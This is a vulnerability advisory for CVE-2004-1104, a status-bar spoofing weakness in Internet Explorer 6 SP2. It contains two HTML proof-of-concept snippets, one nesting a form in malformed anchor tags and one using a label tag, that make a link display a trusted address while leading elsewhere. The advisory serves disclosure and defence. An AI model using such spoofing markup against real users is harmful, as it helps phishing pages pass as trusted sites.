Microsoft Internet Explorer HTML Form Tags URI Obfuscation Weakness

BID:11565

Info

Microsoft Internet Explorer HTML Form Tags URI Obfuscation Weakness

Bugtraq ID: 11565
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2004-1104
Remote: Yes
Local: No
Published: Oct 30 2004 12:00AM
Updated: Jul 12 2009 08:06AM
Credit: "[email protected]" <[email protected]> disclosed this weakness.
Vulnerable: Microsoft Internet Explorer 6.0 SP2 - do not use
Not Vulnerable:

Discussion

Microsoft Internet Explorer HTML Form Tags URI Obfuscation Weakness

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness. The issue is due to a failure of the affected application to properly handle specially crafted HTML anchor URI tags and various form tags.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

This vulnerability is reported to affect Internet Explorer 6 SP2, other versions might also be affected.

This issue is similar to BID 10023.

Exploit / POC

Microsoft Internet Explorer HTML Form Tags URI Obfuscation Weakness

The following example is available. This example embeds an HTML form between malformed anchor, '&lt;a&gt;', tags:

&lt;base href="http://www.example1.com"&gt;

&lt;a href=&gt;&lt;form action="http://www.example2.com"
method="get"&gt;&lt;INPUT style="BORDER-RIGHT: 0pt; BORDER-TOP: 0pt;
FONT-SIZE: 10pt; BORDER-LEFT: 0pt;
CURSOR: hand; COLOR: blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR:
transparent;TEXT-DECORATION: underline" type=submit
value=http://www.example1.com&gt;&lt;/form&gt;&lt;/a&gt;

Another proof of concept exploit has been made available. This method employs the 'id' parameter embedded inside an anchor tag that is controlled by a 'label' tag, allowing the label tag to control what value is presented to an unsuspecting user:

&lt;body style="color: WindowText; background-color: Window;"&gt;
&lt;div&gt;IE/OE Restricted Zone Status Bar Spoofing&lt;/div&gt;
&lt;div&gt;Tested on Windows XP with SP2 installed.&lt;/div&gt;
&lt;p&gt;&lt;a id="SPOOF" href="http://www.example.com/?maliciousContents"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div&gt;
&lt;a href="http://www.example.com/?trustedSite"&gt;
&lt;table&gt;
&lt;caption&gt;
&lt;a href="http://www.example.com/?trustedSite "&gt;
&lt;label for="SPOOF"&gt;
&lt;u style="cursor: pointer; color: blue"&gt;
http://www.example.com/?trustedSite
&lt;/u&gt;
&lt;/label&gt;
&lt;/a&gt;
&lt;/caption&gt;
&lt;/table&gt;
&lt;/a&gt;
&lt;/div&gt;


The above proof of concept exploit can also be viewed at the following site:

http://habaneronetworks.com/viewArticle.php?ID=140

Solution / Fix

Microsoft Internet Explorer HTML Form Tags URI Obfuscation Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Microsoft Internet Explorer HTML Form Tags URI Obfuscation Weakness

References:

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